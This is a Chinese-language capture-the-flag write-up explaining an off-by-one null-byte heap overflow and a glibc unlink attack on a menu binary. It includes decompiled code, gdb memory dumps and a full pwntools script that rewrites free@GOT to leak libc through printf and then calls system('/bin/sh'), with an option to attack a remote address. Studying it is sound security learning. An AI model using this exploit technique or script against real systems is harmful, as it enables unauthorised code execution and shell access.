看了很多malloc unlink 的案例,仍然是云里雾里, 找了一个案例,反复调了几十遍才弄明白其中原理。
off-by-one 漏洞 以及漏洞利用原理
off-by-one漏洞就是malloc 本来分配了0xf8的内存,结果可以写0xf9字节的数据,多写了一个,影响了下一个内存块的头部信息,
进而造成了被利用的可能。
unlink是双链表中删除一个节点的操作。
当前是p
前一个 BK = p->bk (back的缩写)
后一个 FD = p->fd (forward的缩写)
BK->fd = FD
FD->bk = BK
设置使得前一个的后一个等于当前节点的后一个,后一个的前一个等于当前节点的前一个。这样就完成了链表删除。
内存块chunk 的结构
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|如果前一个块是释放状态,则这里存储前一个块的大小 prev_size,否则为用户数据 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 当前块的大小 size最后一个字节为前一个块是否是释放状态Prev_in_use |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 用户数据 .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 如果前一个块是释放状态,则这里存储前一个块的大小 prev_size,否则为用户数据 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 当前块的大小 最后一个字节为前一个块是否是释放状态Prev_in_use |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
可以看到有一个奇怪的地方prev_size ,
如果前一个块是释放状态,则存储前一个块的大小,如果前一个块正在使用,则存储前一个块的数据。
前一个块是否被使用在size域的最后一位, 如果我们先在prev_size写上数据, 再修改size最后一位,就可以造出一个假的块。
我们释放下一个块,因为我们构造了一个free的假块,这两个块就会做合并。这就出发了额unlink。
unlink就可以改写某个地方的数据/
题目
一个简单的菜单题 栈溢出无法利用,在set中存在溢出0的情况,就是说多写了一个0 (off-by-one null byte),堆溢出一个0。
1 为分配内存 2为设置 3为删除 4不管用(故意不然泄露)。 5 退出。
直接运行程序输出:
Welcome to Alibaba Living Area, here you can
1. Init the message
2. Set the message
3. Delete the message
4. Show the message
5. Exit
IDA反编译代码如下:
void __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
alarm(0x1Eu);
sub_40094E(30LL, 0LL);
while ( 1 )
{
switch ( (unsigned int)sub_400963() )
{
case 1u:
yang_init();
break;
case 2u:
yang_set();
break;
case 3u:
yang_del();
break;
case 4u:
yang_show();
break;
case 5u:
yang_exit();
return;
default:
puts("Invalid input\n");
break;
}
}
}
signed __int64 yang_init()
{
signed __int64 result; // rax
int i; // [rsp+0h] [rbp-10h]
int size; // [rsp+4h] [rbp-Ch]
char *buf; // [rsp+8h] [rbp-8h]
if ( g_sz >= 0 && g_sz <= 15 )
{
printf("Input the message length:", 0LL);
size = read_int();
if ( size >= 0 && size <= 256 )
{
buf = (char *)malloc(size);
while ( *(_QWORD *)&g_tb[2 * i + 1] > 0LL )
++i;
g_tb[2 * i] = (struct Record)buf;
g_tb[2 * i + 1] = (struct Record)size;
++g_sz;
puts("Done~!");
result = 0LL;
}
else
{
puts("Not allow~!");
result = 1LL;
}
}
else
{
puts("Not allow~!");
result = 1LL;
}
return result;
}
signed __int64 yang_del()
{
signed __int64 result; // rax
int size; // [rsp+Ch] [rbp-4h]
printf("Input the message index:");
size = read_int();
if ( size >= 0 && size <= 16 )
{
if ( *(_QWORD *)&g_tb[2 * size + 1] <= 0LL )
{
puts("Not allow~!");
result = 1LL;
}
else
{
g_tb[2 * size + 1] = 0LL;
free(*(void **)&g_tb[2 * size]);
--g_sz;
puts("Done~!");
result = 0LL;
}
}
else
{
puts("Not allow~!");
result = 1LL;
}
return result;
}
int yang_show()
{
return puts("Not allow~!");
}
signed __int64 yang_set()
{
signed __int64 result; // rax
int sz; // [rsp+Ch] [rbp-4h]
printf("Input the message index:");
sz = read_int();
if ( sz >= 0 && sz <= 16 )
{
if ( *(_QWORD *)&g_tb[2 * sz + 1] <= 0LL )
{
puts("Not allow~!");
result = 1LL;
}
else
{
printf("Input the message content:");
read_buf(*(char **)&g_tb[2 * sz], *(_QWORD *)&g_tb[2 * sz + 1]); //这个函数里溢出了一个0
puts("Done~!");
result = 0LL;
}
}
else
{
puts("Not allow~!");
result = 1LL;
}
return result;
}
signed int __fastcall read_buf(char *in, unsigned int size)
{
char buf; // [rsp+17h] [rbp-9h]
unsigned int i; // [rsp+18h] [rbp-8h]
int v5; // [rsp+1Ch] [rbp-4h]
v5 = 0;
for ( i = 0; i <= size; ++i ) // 存在off-by-one漏洞
{
if ( read(0, &buf, 1uLL) < 0 )
return -1u;
if ( buf == '\n' )
{
in[i] = 0;
return i;
}
in[i] = buf;
}
in[i - 1] = 0;
return i - 1;
}
分析
分析可知, 有一个全局变量(存储在bss段), 里面记录着每一段的地址和大小
struct Record{
char* p;
int sz;
} g_records[20]; 因为是64为,所以他们指针和int都是8字节,一个Record段正好是16字节(0x10) ,存在 0x6020c0的位置(下面有内存截图)
这里面有指针,我们可以用unlink修改其中的指针,进而修改其他的指针为got表的地址,这样就可以修改got表的free项为printf或者system。
使用printf,调用删除函数,实际上就调用了printf(而不是原本的free)。
free(buf) —> printf(buf)
这样就可以进行内存地址泄露,进而算出system的值,再将free_got改为system地址,执行删除函数
free(‘/bin/sh’) 就变成了 system(‘/bin/sh’)
这个思路有点精炼,看不懂看下面具体步骤。
先构造几个串备用
def new_msg(len):
p.recvuntil("Choice:")
p.sendline("1")
p.recvuntil("length:")
p.sendline(str(len))
print 'create new msg ' , len
new_msg(0xf8) # 0: 0x100 printf argument, %x.%x.
new_msg(0xf8) # 1: binsh, system argument
new_msg(0xf8) # 2: useless chunk
new_msg(0xf8) # 3: unlink target
new_msg(0xf8) # 4: free target
new_msg(0xf8) # 5: avoid consolidate with top chunk
看一个gdb
heap
0x6d1000 PREV_INUSE { //第0个块
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6d1100 PREV_INUSE { //第1个块
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6d1200 PREV_INUSE { //第2个块
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6d1300 PREV_INUSE { //第3个块
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6d1400 PREV_INUSE {//第4个块
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
注意这个串的大小是有讲究的。需要是16的倍数+8, 这是和malloc对齐机制有关。
如果是 16的倍数,那么就会再增加16字节的头部存储prev_size和size。
如果是16x+8的形式,就会只增加8个字节的size部分,prev_size用上一个内存块的最后8位来表示。(size中存的是 用户分配的大小+0x8)
而上一个块我们是可以控制的,这代表这我们可以任意的改这个prev_size。
当然这个prev_size只有在当前快的prev_in_use(存在size最低位)为1的时候才能生效,所以需要一个溢出一个字节null。
溢出后下一个块的size的最低字节变成了0。这就要求我们的大小不能太小。
如果是 0xa8 的大小, 那么size中值为0xb0 ,null溢出后 这个值变成了0x00 。没大小了!!这就不对了。
目前我们设计的大小为f8 , f8+8 = 100 , 带着prev_in_use 为1, 实际在size中存储的是0x101。
溢出后低字节被清零,得到了0x100,这表示前一个块是空的。
那么前一个块在什么地方呢? 噔噔噔噔 !! 就在prev_size中,而这个块
构造假块
Unlink 在自己可控区域内构造一个假的块。
chunk_ptr = 0x6020c0 + 3*0x10 # 这个地址就是全局变量g_records[3].p 在unlink 的安全检查下,只能改这个地方的值。
payload = p64(0x110) + p64(0xf1) + p64(chunk_ptr - 0x18) + p64(chunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0)
# fd: 2nd chunk's pointer - 0x18
# bk: 2nd chunk's pointer - 0x10
# 0xd0 = 0xf8 - 0x28(prev_size, size, next_prev_size, fd, bk)
# 0x101 -> 0x100
set_msg(3, payload)
看修改后的内存。
0x1b10300: 0x0000000000000000 0x0000000000000101 块3 的开始
0x1b10310: 0x0000000000000110 0x00000000000001f1 这个快是我们控制的内存 (我们构造的假块的开始)
0x1b10320: 0x00007fefce073b78 0x00007fefce073b78
0x1b10330: 0x6161616161616161 0x6161616161616161
0x1b10340: 0x6161616161616161 0x6161616161616161
0x1b10350: 0x6161616161616161 0x6161616161616161
0x1b10360: 0x6161616161616161 0x6161616161616161
0x1b10370: 0x6161616161616161 0x6161616161616161
0x1b10380: 0x6161616161616161 0x6161616161616161
0x1b10390: 0x6161616161616161 0x6161616161616161
0x1b103a0: 0x6161616161616161 0x6161616161616161
0x1b103b0: 0x6161616161616161 0x6161616161616161
0x1b103c0: 0x6161616161616161 0x6161616161616161
0x1b103d0: 0x6161616161616161 0x6161616161616161
0x1b103e0: 0x6161616161616161 0x6161616161616161
0x1b103f0: 0x6161616161616161 0x6161616161616161
0x1b10400: 0x00000000000000 f0 0x00000000000001 00 这是块4的size字段。(块2) 这个字节溢出被改了!!本来使是01
f0是我们造的prev_size
0x1b10400 地址仍然属于上一个块的可控范围,现在将其设置为f0
而这个地址是下一个块的prev_size , (如果prev-in-use是0的话)
而原本 0x1b10408 位置为 101 ,表示上一个块 正在被使用,现在
01 这个字节被 00 替换。 让其以为上一个块是free的。
下面我们会free 块4 ,块4 就会根据 prev_size (f0)这个值去寻找头部。这个头部正好是我们构造的0x1b10310 这个位置。
然后free函数会监测 上一个块(FD指向)的下一个块是不是当前块
下一个块的上一个块是不是当前块,即:
FD->bk == P 和
BK->fd == P
FD->bk 怎么理解, FD是一个指针,它指向的内存块以Chunk这个结构体的方式访问
我们造的假块的结构如下:
Chunk { // 第3个块
prev_size = 0x110, //本来chunk 3 的大小和chunk 2的大小都是0x100,现在我们造的假块地址是chunk3地址加0x10,所以上一块的内容要加0x110
size = 0xf1, //这个地方size为0xf0,最低位为1 ,表示上一个块不是free状态,这样就不会出现连锁的合并。
fd = chunk_ptr - 0x18, // chunk_ptr 是另外一个变量,这个变量中保存着这个块的地址。是g_table[3].p = malloc(0xf8) 中p的地址。
bk = chunk_ptr - 0x10,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
在结构体中 bk的偏移量是0x18 , 假设结构体的地址为FD ,那么 FD->bk 的地址为 FD+0x18
下面的内存中保存着 分配的内存地址 ,如果把结构体的头部(FD)放在 0x6020d8,那么FD->BK 正好是 0x6020f0
0x6020f0 值正好是0x1b10310 , 即 FD->fd 的值 == P。
0x6020c0: 0x0000000001b10010 0x00000000000000f8
0x6020d0: 0x0000000001b10110 0x00000000000000f8
0x6020e0: 0x0000000001b10210 0x00000000000000f8
0x6020f0: 0x0000000001b10310 0x00000000000000f8
0x602100: 0x0000000001b10410 0x00000000000000f8
0x602110: 0x0000000001b10510 0x00000000000000f8
这样就通过了检查。随后执行
FD->bk = BK
BK->fd = FD
因为检查中保证了 P= FD->bk = BK->fd 所以上面的语句相当于
P = FD = 0x6020f0 - 0x18
即将0x6020f0 的地址改为了0x6020f0 - 0x18 ,见下图
0x6020c0: 0x0000000001b10010 0x00000000000000f8
0x6020d0: 0x0000000001b10110 0x00000000000000f8
0x6020e0: 0x0000000001b10210 0x00000000000000f8
0x6020f0: 0x00000000006020d8 0x00000000000000f8 # 标黄的地方就是chunk_ptr 已经被修改成了自己的地址-0x18
0x602100: 0x0000000001b10410 0x0000000000000000
0x602110: 0x0000000001b10510 0x00000000000000f8
泄露地址和执行system
修改了这个地址有什么用呢? 本来有一个指针指向它的。
struct Record{
char* p;
int sz;
}
现在, p= 0x6020d8;
这样我们对p进行修改, 就可以修改0x6020d8对应的位置,这个位置也在上面数据所示的表格中。
比如我们把它改为got_entry_free的地址,
payload = p64(0xf8) + p64(got_entry_free) + p64(0xf8)[:-1]
setmsg(3,payload)
通过这个串,可以讲内存设置为
0x6020c0: 0x0000000001169010 0x00000000000000f8 Record 0
0x6020d0: 0x0000000001169110 0x00000000000000f8 Record 1
0x6020e0: 0x0000000000 602018 0x00000000000000f8 这里被成功写入了 Record 2
0x6020f0: 0x00000000006020d8 0x00000000000000f8 Record 3
0x602100: 0x0000000001169410 0x0000000000000000 Record 4
0x602110: 0x0000000001169510 0x00000000000000f8 Record 5
got_entry_free的值被成功写入到 了 Record 2 中, 对2的修改就会修改free_got的值,改变其本身的行为
本来该调用free函数的,却调用了我们写入的值。
我们现在将printf 的 地址写入,因为不知道这个地址,所以我们写入plt的地址。
payload = p64(0x4006E0)[:-1] # printf plt address
set_msg(2, payload)
0x602018 <free@got.plt>: **0x00000000004006e0** 0x00007fa818174690 # 这里被改写成了
0x602028 <__stack_chk_fail@got.plt>: 0x00000000004006d6 0x00007fa81815a800
0x602038 <alarm@got.plt>: 0x00007fa8181d1200 0x00007fa8181fc250
0x602048 <__libc_start_main@got.plt>: 0x00007fa818125740 0x0000000000400726
0x602058 <malloc@got.plt>: 0x00007fa818189130 0x00007fa818174e70
这样在执行 del 时,本该调用free,结果却调用了printf ,这就带来了地址泄露。比如执行
printf(“%11$lx”)就可以输出lib_main_ret的地址,进而计算出system的地址。
同样的设置address的地址
payload = p64(system_address)[:-1] # printf plt address
set_msg(2, payload)
随后调用
del_msg(1) 这样本应该执行 free(chunk_1_address) 的,结果执行了system(chunk_1_address)
随意,我们预先在chunk 1 中存储 /bin/sh ,这样命令行就打开了。
#!/usr/bin/env python
# coding: utf-8
from pwn import *
context.log_level = "error"
#init
context(arch = 'amd64', os = 'linux')
local=True
if local:
p = process("./fb")
else:
p = remote("121.40.56.102", 9733)
print '[*] PID:',pidof('fb')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
name = "fb"
off_onegadget = 0x4526A
offset___libc_start_main_ret = 0x20830
offset_system = 0x45390
offset_read = 0xf6670
offset_write = 0xf66d0
offset_str_bin_sh = 0x18c177
def attach():
if local:
gdb.attach(pidof(name)[0],gdbscript = "b * 0x400CB1\n")
def new_msg(len):
p.recvuntil("Choice:")
p.sendline("1")
p.recvuntil("length:")
p.sendline(str(len))
print 'create new msg ' , len
def set_msg(idx,cont):
p.recvuntil("Choice:")
p.sendline("2")
p.recvuntil("index:")
p.sendline(str(idx))
p.recvuntil("content:")
p.sendline(cont)
print 'set msg ' , idx,',cont = ',cont
def del_msg(idx):
print 'del_msg ' , idx
p.recvuntil("Choice:")
p.sendline("3")
p.recvuntil("index:")
p.sendline(str(idx))
def my_eval():
print 'Enter python model'
while True:
try:
s = raw_input("python>")
if s == 'q\n':
return
print eval(s)
except Exception as e:
print (e)
def mp(str):
print str
return 1
new_msg(0xf8) # 0: 0x100 printf argument, %x.%x.
new_msg(0xf8) # 1: binsh, system argument
new_msg(0xf8) # 2: useless chunk
new_msg(0xf8) # 3: unlink target
new_msg(0xf8) # 4: free target
new_msg(0xf8) # 5: avoid consolidate with top chunk
# lack of chunks
#attach()
chunk_ptr = 0x6020c0 + 3*0x10
set_msg(0,"%lx."* 0x11) # 0
set_msg(1,"/bin/sh\x00") # 1
payload = p64(0x110) + p64(0xf1) + p64(chunk_ptr - 0x18) + p64(chunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0)
# fd: 2nd chunk's pointer - 0x18
# bk: 2nd chunk's pointer - 0x10
# 0xd0 = 0xf8 - 0x28(prev_size, size, next_prev_size, fd, bk)
# 0x101 -> 0x100
set_msg(3, payload)
#raw_input("press to continue")
del_msg(4)
#raw_input("xxxxx")
#set_msg(3, 'a' * 0x10)
got_entry_free = 0x000000000602018
payload = p64(0xf8) + p64(got_entry_free) + p64(0xf8)[:-1]
# 0xf8 got_entry_free 0xf8 without '\x00' overflow
set_msg(3, payload)
payload = p64(0x4006E0)[:-1] # printf plt address
set_msg(2, payload)
#attach()
# printf("%lx."* 0x11)
del_msg(0)
offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f7970
offset_read = 0x00000000000f7250
offset_write = 0x00000000000f72b0
offset_str_bin_sh = 0x18cd57
r = p.recvuntil("Done~!", drop = True)
print "recv ", r , "\n--------------------------"
r = r.split('.')[-2]
# p.interactive()
libc_start_main_ret_addr = int("0x" + r ,16)
print "libc_start_main_ret_addr: ", hex(libc_start_main_ret_addr)
# we unlink, check chunk_ptr's position
system_addr = libc_start_main_ret_addr - offset___libc_start_main_ret + offset_system
print "system_addr: ", hex(system_addr)
payload = p64(system_addr)[:-1]
set_msg(2, payload)
set_msg(1,"/bin/sh\x00")
del_msg(1)
my_eval()
p.interactive()
# we unlink, check chunk_ptr's position